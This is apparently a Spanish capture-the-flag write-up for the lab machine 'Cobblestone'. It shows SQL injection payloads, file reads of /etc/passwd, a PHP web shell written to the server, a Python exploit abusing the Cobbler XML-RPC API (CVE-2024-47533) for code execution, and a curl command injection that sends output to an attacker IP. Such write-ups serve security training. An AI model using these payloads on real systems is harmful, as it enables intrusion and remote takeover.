En Cobblestone se identifico y exploto una vulnerabilidad SQL Injection lo que permitio la lectura y escritura de archivos para posteriormente obtener acceso inicial. Credenciales dentro de una base de datos dieron acceso a un nuevo usuario. Cobbler se ejecutaba localmente, se ejecuto port forwarding para interactuar con la API donde se identifico una vulnerabilidad que permite realizar cambios con credenciales conocidas. La escalada de privilegios se realizo a traves de la ejecucion de una plantilla con los componentes de Cobbler, tambien a traves de Command Injection con la informacion de un Issue en el repositorio de este.
El subdominio mc.cobblestone.htb parece ser el mismo contenido que el dominio (cobblestone.htb). La plantilla utilizada por el sitio es minecraft-web-portal de bybilly.
❯ feroxbuster -u http://cobblestone.htb/ -w $MD ___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cobblestone.htb/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 280c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 322c http://cobblestone.htb/templates => http://cobblestone.htb/templates/
301 GET 9l 28w 316c http://cobblestone.htb/img => http://cobblestone.htb/img/
200 GET 1l 12w 2799c http://cobblestone.htb/js/firefly.js
200 GET 30l 79w 721c http://cobblestone.htb/js/main.js
302 GET 3l 11w 81c http://cobblestone.htb/skins.php => login.php
200 GET 144l 250w 2217c http://cobblestone.htb/css/stylesheet.css
200 GET 131l 814w 68917c http://cobblestone.htb/img/forums.png
200 GET 105l 560w 43365c http://cobblestone.htb/img/vote.png
200 GET 204l 1117w 83278c http://cobblestone.htb/img/store.png
200 GET 2l 1294w 89501c http://cobblestone.htb/js/jquery.min.js
200 GET 342l 2173w 185118c http://cobblestone.htb/img/logo.png
200 GET 61l 190w 1942c http://cobblestone.htb/
301 GET 9l 28w 318c http://cobblestone.htb/skins => http://cobblestone.htb/skins/
301 GET 9l 28w 316c http://cobblestone.htb/css => http://cobblestone.htb/css/
301 GET 9l 28w 315c http://cobblestone.htb/db => http://cobblestone.htb/db/
301 GET 9l 28w 315c http://cobblestone.htb/js => http://cobblestone.htb/js/
301 GET 9l 28w 323c http://cobblestone.htb/javascript => http://cobblestone.htb/javascript/
301 GET 9l 28w 319c http://cobblestone.htb/vendor => http://cobblestone.htb/vendor/
301 GET 9l 28w 328c http://cobblestone.htb/vendor/composer => http://cobblestone.htb/vendor/composer/
301 GET 9l 28w 324c http://cobblestone.htb/vendor/twig => http://cobblestone.htb/vendor/twig/
❯
cobblestone.htb
El dominio muestra un formulario de registro y login. Registramos un nuevo usuario.
Tras ingresar se muestra una lista de “skins” las cuales se pueden descargar a traves de la url: http://cobblestone.htb/download.php?skin=/skins/<imagen>
En la pestana de sugerencia de skin se muestra un formulario para registrar/agregar una nueva skin.
Al registro una skin se indica que sera revisada por el administrador.
deploy.cobblestone.htb
En el subdominio deploy se muestra una lista de nombres que pueden ser utilizados como nombres de usuarios dentro de un wordlist.
1
2
3
4
Josh Madden
Sam Carlson
Katrina Robinson
Jeremy Brewer
❯ nc -lvp 8081listening on [any]8081 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81]38130POST / HTTP/1.1
Host: 10.10.14.33:8081
Connection: keep-alive
Content-Length: 1942User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://cobblestone.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->
<!DOCTYPE html>
<html>
<head>
<!-- Info meta tags, important for social media + SEO -->
<title>Cobblestone - Official Website</title>
<meta name="viewport"content="width=device-width, initial-scale=1.0">
<meta charset="utf-8">
<link rel="stylesheet"href="css/stylesheet.css">
</head>
<body>
<div class="container">
<div class="logo">
<!-- In the img folder, upload your logo -->
<!-- Make sure you name it 'logo.png' or update the code below -->
<img src="img/logo.png"alt="MyServer logo">
</div>
<div class="items">
<!-- Replace # with your forum URL--> <a href="http://deploy.cobblestone.htb"class="item forums">
<div>
<img src="img/forums.png"alt="Minecraft forums icon"class="img">
<p class="subtitle">Deploy your own minecraft server</p>
<p class="title">Get your own</p>
</div>
</a>
<!-- Replace # with your store URL --> <a href="skins.php"class="item store">
<div>
<img src="img/store.png"alt="Minecraft store icon"class="img">
<p class="subtitle">Download skins for your minecraft character</p>
<p class="title">Skin Database</p>
</div>
</a>
<!-- Replace # with your vote URL --> <a href="http://vote.cobblestone.htb"class="item vote">
<div>
<img src="img/vote.png"alt="Minecraft voting icon"class="img">
<p class="subtitle">Vote for your favorite Minecraft Server</p>
<p class="title">Vote (beta)</p>
</div>
</a>
</div>
<div class="playercount">
<p>Join <span class="ip">229</span> other players on <span class="ip">mc.cobblestone.htb</span></p>
</div>
</div>
<script src="js/jquery.min.js"type="text/javascript"></script>
<script src="js/firefly.js"type="text/javascript"></script>
<script src="js/main.js"type="text/javascript"></script>
</body>
</html>
❯
Realizamos una solicitud a skins.php logrando obtener el contenido HTML el cual “renderizamos” en htmledit donde observamos que existen otras funciones y enlaces para el usuario administrador.
Se muestra la pagina skins_app_admin_server_info.php de la cual obtuvimos el contenido. Parece ejecutar phpinfo();.
La informacion muestra la cookie de la solicitud y el directorio root /var/www/html/.
Tras utilizar esta cookie observamos que tenemos acceso como admin en el sitio.
Podemos administrar usuarios y asu vez; previzualizar.
Upload Bypass - Failed
La pestana Upload Skin permite la subida de imagenes PNG.
Intentamos realizar Bypass al filtro de imagenes pero no era posible manipular la extension de los archivos, ya que cada imagen era nombrada de forma aleatoria y siempre agregando la extension .png al final (ex: 9de8014e8a21e47fa5f94b0a10913e4f.png) no importando la extension de subida del archivo.
SQL Injection - vote.cobblestone.htb
El registro de un servidor no tiene ningun filtro, ejecutamos sqlmap para verificar la existencia de una vulnerabilidad SQL Injection, esta fue positiva y se listan las bases de datos.
❯ sqlmap -r suggest_url.req --batch --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.9.4#stable}|_ -| . [)]| .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:55:10 /2025-08-14/
[17:55:10][INFO] parsing HTTP request from 'suggest_url.req'[17:55:10][INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=5'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[17:55:11][INFO] checking if the target is protected by some kind of WAF/IPS
[17:55:12][INFO] testing if the target URL content is stable
[17:55:13][WARNING] POST parameter 'url' does not appear to be dynamic
[17:55:14][WARNING] heuristic (basic)test shows that POST parameter 'url' might not be injectable
[17:55:15][INFO] testing for SQL injection on POST parameter 'url'[17:55:15][INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[17:55:18][INFO] POST parameter 'url' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:55:34][INFO] heuristic (extended)test shows that the back-end DBMS could be 'MySQL'it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:55:34][INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'[17:55:35][INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'[17:55:36][INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'[17:55:36][INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'[17:55:37][INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'[17:55:38][INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'[17:55:39][INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'[17:55:39][INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'[17:55:40][INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[17:55:41][INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[17:55:41][INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'[17:55:42][INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'[17:55:43][INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'[17:55:44][INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'[17:55:45][INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[17:55:46][INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'[17:55:46][INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'[17:55:50][WARNING] reflective value(s) found and filtering out
[17:55:51][INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'[17:55:52][INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'[17:55:52][INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'[17:55:52][INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'[17:55:52][INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'[17:55:52][INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'[17:55:52][INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'[17:55:52][INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'[17:55:52][INFO] testing 'Generic inline queries'[17:55:53][INFO] testing 'MySQL inline queries'[17:55:54][INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'[17:55:55][INFO] testing 'MySQL >= 5.0.12 stacked queries'[17:55:56][INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'[17:55:57][INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'[17:55:57][INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'[17:55:58][INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'[17:55:59][INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'[17:56:11][INFO] POST parameter 'url' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[17:56:11][INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[17:56:11][INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:56:12][INFO]'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[17:56:15][INFO] target URL appears to have 5 columns in query
[17:56:26][INFO] POST parameter 'url' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'url' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: url (POST) Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[17:56:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:56:27] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vote
[17:56:28] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'[*] ending @ 17:56:28 /2025-08-14/
❯
Se logro realizar un dump a la base de datos vote para obtener el hash de contrasena de los usuarios.
Hashcat muestra un tiempo estimado de 5 horas para el hash de admin en el wordlist rockyou, despues de varios minutos no encontro el valor por lo que se omitio.
1
Time.Estimated...: ... (5 hours, 40 mins)
Privileges - FILE
Tras verificar los privilegios en sqlmap se observa FILE. Este privilegio permitiria la lectura y escritura de archivos dentro de la maquina.
❯ sqlmap -r suggest_url.req --batch --privileges
___
__H__
___ ___[']_____ ___ ___ {1.9.4#stable}
|_ -| . [(] | .'| . ||___|_ [,]_|_|_|__,| _||_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:02:27 /2025-08-14/
[18:02:27] [INFO] parsing HTTP request from 'suggest_url.req'
[18:02:27] [INFO] resuming back-end DBMS 'mysql'
[18:02:27] [INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=10'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: url (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[18:02:28][INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[18:02:28][INFO] fetching database users privileges
database management system users privileges:
[*]'voteuser'@'localhost'[1]:
privilege: FILE
[18:02:29][INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'[*] ending @ 18:02:29 /2025-08-14/
❯
Reading Files
Especificamos el archivo a leer con la flag --file-read, localmente observamos su contenido.
❯ sqlmap -r suggest_url.req --batch --file-read /etc/passwd
___
__H__
___ ___[.]_____ ___ ___ {1.9.4#stable}|_ -| . [.]| .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:02:58 /2025-08-14/
[18:02:58][INFO] parsing HTTP request from 'suggest_url.req'[18:02:58][INFO] resuming back-end DBMS 'mysql'[18:02:58][INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=12'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: url (POST) Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[18:02:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:02:59] [INFO] fingerprinting the back-end DBMS operating system
[18:03:00] [INFO] the back-end DBMS operating system is Linux
[18:03:00] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[18:03:04] [INFO] the local file '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1430 B)
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd (same file)
[18:03:04] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'[*] ending @ 18:03:04 /2025-08-14/
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash
❯
Tras la lectura del archivo de configuracion de apache (/etc/apache2/sites-enabled/000-default.conf) logramos identificar los directorios del dominio y subdominios.
Intentamos realizar una solicitud a /cobbler_api pero no logramos realizar la solicitud al localhost.
1
2
3
4
5
6
7
8
9
10
11
❯ curl http://cobblestone.htb/cobbler_api
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at cobblestone.htb Port 80</address>
</body></html>
❯
Nos basamos en la configuracion apache y las paginas que feroxbuster encontro para la lectura de archivos en la maquina. Se muestra el contenido de algunas paginas. Se encontraron credenciales de base de datos pero estas no fueron utiles en ninguna pagina ni el servicio SSH.
# /var/www/html/suggest_skin.php❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_html_suggest_skin.php
<?php
include('db/connection.php');session_start();if(!isset($_SESSION['role'])){http_response_code(403); // Optional: send 403 Forbidden
die('Access denied.');}$_SESSION['suggestion_message']='';$_SESSION['suggestion_message_type']='';if($_SERVER['REQUEST_METHOD']==='POST'){$user=$_POST['username'];$name=$_POST['name'];$url=$_POST['url'];$stmt=$conn->prepare("INSERT INTO suggestions (username, name, url) VALUES (?, ?, ?)");$stmt->bind_param("sss", $user, $name, $url);if($stmt->execute()){$_SESSION['suggestion_message']="Suggestion has been added succesfully and will be reviewed by an admin.";$_SESSION['suggestion_message_type']="success"; header("Location: skins.php"); exit();}else{$_SESSION['suggestion_message']="Something went wrong submitting your suggestion.";$_SESSION['suggestion_message_type']="error"; header("Location: skins.php"); exit();}$stmt->close();}$conn->close();?>
❯
❯ cat c.php
<?php
echo(system($_GET['c']));?>
❯ sqlmap -r suggest_url.req --batch --file-write c.php --file-dest /var/www/html/c.php
___
__H__
___ ___[']_____ ___ ___ {1.9.4#stable}
|_ -| . [(] | .'| . ||___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:46:30 /2025-08-14/
[18:46:30][INFO] parsing HTTP request from 'suggest_url.req'[18:46:30][INFO] resuming back-end DBMS 'mysql'[18:46:30][INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=4'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: url (POST) Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[18:46:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:46:30] [INFO] fingerprinting the back-end DBMS operating system
[18:46:30] [INFO] the back-end DBMS operating system is Linux
[18:46:32] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file 'c.php' has been successfully written on the back-end DBMS file system ('/var/www/html/c.php')? [Y/n] Y
[18:46:33] [INFO] the remote file '/var/www/html/c.php' is larger (33 B) than the local file 'c.php' (29B)
[18:46:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'[*] ending @ 18:46:33 /2025-08-14/
❯
Logrando con esta la ejecucion de comandos dentro de la maquina. Aunque por alguna razon no fue posible ejecutar ciertos comandos o una shell inversa.
Se observa que localmente esta a la escucha el puerto 3306 y 25151.
1
2
3
4
5
6
7
8
9
10
11
$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 127.0.0.1:25151 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 00 :::22 :::* LISTEN -
$
Data Base - Cobblestone
Con las credenciales de la base de datos encontradas anteriormente logramos el acceso a la base de datos cobblestone.
❯ ssh cobble@cobblestone.htb
cobble@cobblestone.htb's password:
Linux cobblestone 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$ whoami;id
-rbash: whoami: command not found
-rbash: id: command not found
cobble@cobblestone:~$ env
-rbash: env: command not found
cobble@cobblestone:~$ ls
user.txt
cobble@cobblestone:~$ ls -lah
total 32K
drwx------ 3 cobble cobble 4.0K Jul 24 14:41 .
drwxr-xr-x 3 root root 4.0K Jul 24 14:41 ..
-rwx------ 1 root root 1 Oct 12024 .bash_history
-rwx------ 1 cobble cobble 220 Oct 12024 .bash_logout
-rwx------ 1 cobble cobble 3.5K Oct 12024 .bashrc
-rwx------ 1 cobble cobble 807 Oct 12024 .profile
drwx------ 2 cobble cobble 4.0K Jul 24 14:41 .ssh
-rw-r----- 2 root cobble 33 Aug 14 18:03 user.txt
cobble@cobblestone:~$ cat user.txt
91e09b36948e8ee7b67179cdaec022a4
cobble@cobblestone:~$
Privesc
Port Forwarding
Realizamos port forwarding para obtener localmente el puerto 25151 que anteriormente se identifico en el archivo apache y puertos locales.
Si nos basamos en la configuracion de apache este menciona cobbler_api la cual se refiere a cobbler en este caso a XMLRPC API con la respuesta anterior.
Realizamos una busqueda de vulnerabilidades y encontramos que existe una que permite realizar cambios con el “par de credenciales” '' : -1 en la API (CVE-2024-47533). Tras ejecutar el PoC este crearia un system, se agrego la escritura de este en consola la cual muestra exitosa.
Basados en la documentacion cobbler esta tiene tres componentes los cuales se relacionan uno con el otro. Distro representa el sistema operativo, profile en esta se definen la configuracion (particiones, paquetes, networking, etc.) y system el cual representa un virtual host, se crea a partir de un perfil. Si observamos la relacion seria: Distro → Profile → System.
Los valores necesarios para la creacion de cada uno serian:
1
2
3
4
5
6
7
8
9
10
11
12
* distro
- initrd
- kernel
- name
* profile
- distro (name of a distro)
- name
* system
- name
- profile (profile assosiate to it)
Nos basamos del codigo de cobbler para la creacion de una distro, profile, template y system. El objetivo es la ejecucion de comandos mediante una template utilizando Cheetah. Informacion para la distro se obtuvo con la shell de www-data.
#!/usr/bin/python3importsslimportxmlrpc.clientssl_context=ssl._create_unverified_context()url="http://127.0.0.1:25151/"s=xmlrpc.client.Server(url)try:token=s.login('',-1)exceptxmlrpc.client.Faultase:print("Failed to log in to Cobbler")exceptExceptionase:print(f"Connection failed. {e}")v=s.version(token)print(f"Version: {v}")defdistro():distro_id=s.new_distro(token)s.modify_distro(distro_id,'name','distro-zero',token)# from /boot/s.modify_distro(distro_id,'kernel','/boot/vmlinuz-6.1.0-37-amd64',token)s.modify_distro(distro_id,'initrd','/boot/initrd.img-6.1.0-37-amd64',token)s.save_distro(distro_id,token)defprofile():profileid=s.new_profile(token)s.modify_profile(profileid,'name','profile-zero',token)s.modify_profile(profileid,'distro','distro-zero',token)s.save_profile(profileid,token)deftemplate_system():t=s.write_autoinstall_template('test',"${__import__('os').system('id>sckull')}",token)print("Template created")t=s.read_autoinstall_template('test',token)print(f"Content of Template: {t}")defsystem():sysid=s.new_system(token)s.modify_system(sysid,"name","system-zero",token)s.modify_system(sysid,"hostname","sckull.htb",token)s.modify_system(sysid,"profile","profile-zero",token)# https://cobbler.readthedocs.io/en/latest/code-autodoc/cobbler.items.html#module-cobbler.items.systems.modify_system(sysid,"template_files",{'/var/lib/cobbler/templates/test':'/test'},token)s.save_system(sysid,token)s.sync(token)print(sysid)distro()profile()template_system()# create and add template filesystem()
Tras la ejecucion observamos que se creo la plantilla y el contenido de esta, asi mismo se muestra el “identificador” del system creado.
1
2
3
4
5
6
❯ python xml-api.py
Version: 3.306
Template created
Content of Template: ${__import__('os').system('id>sckull')}___NEW___system::XkzoPV0KOB07xazH0JpHBj75SMfdmXCZ8Q==❯
Con la shell de www-data observamos que se genero el archivo donde se observa la ejecucion de id.
#!/usr/bin/python3importsslimportxmlrpc.clientssl_context=ssl._create_unverified_context()url="http://127.0.0.1:25151/"s=xmlrpc.client.Server(url)try:token=s.login('',-1)exceptxmlrpc.client.Faultase:print("Failed to log in to Cobbler")exceptExceptionase:print(f"Connection failed. {e}")v=s.version(token)print(f"Version: {v}")system_id=s.new_system(token)s.background_aclsetup({'adduser':'`curl 10.10.14.33/$(whoami)`'},token)
Colocamos netcat a la escucha el cual recibio el resultado de la ejecucion.
1
2
3
4
5
6
7
8
9
10
❯ nc -lvp 80listening on [any]80 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81]40300GET /root HTTP/1.1
Host: 10.10.14.33
User-Agent: curl/7.88.1
Accept: */*
❯
Tambien se logro la ejecucion de una shell inversa.
1
2
3
4
5
6
7
8
9
10
